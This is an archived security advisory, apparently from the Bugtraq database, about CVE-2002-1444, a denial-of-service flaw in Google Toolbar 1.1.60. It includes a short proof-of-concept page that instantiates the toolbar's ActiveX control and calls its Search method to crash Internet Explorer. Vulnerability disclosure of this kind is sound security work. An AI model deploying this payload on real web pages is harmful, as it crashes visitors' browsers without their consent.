Google Toolbar Search Function Denial Of Service Vulnerability

Bugtraq ID:	5477
Class:	Failure to Handle Exceptional Conditions
CVE:	CVE-2002-1444
Remote:	Yes
Local:	No
Published:	Aug 15 2002 12:00AM
Updated:	Jul 11 2009 03:56PM
Credit:	Discovery of this vulnerability credited to "Adam \[onet\]" <[email protected]>.
Vulnerable:	Google Toolbar 1.1.60
Not Vulnerable:

Google Toolbar Search Function Denial Of Service Vulnerability

Reportedly, when the Google Toolbar receives a search query it may cause Microsoft Internet Explorer to crash. When a user views a malicious web page it will cause the Google Toolbar to throw an exception in 'oleaut32.dll'.

Google Toolbar Search Function Denial Of Service Vulnerability

The following proof of concept was submitted by "Adam \[onet\]" <[email protected]>:

<object
id=GOOGLE
classid="clsid:00EF2092-6AC5-47c0-BD25-CF2D5D657FEB"
width=1
height=1
>
</object>

<script language="JavaScript">
// it raises the exception in oleaut32.dll
GOOGLE.Search("Miaow, miaow :)")
</script>

Google Toolbar Search Function Denial Of Service Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

Google Toolbar Search Function Denial Of Service Vulnerability

References:

• Google Toolbar Homepage (Google)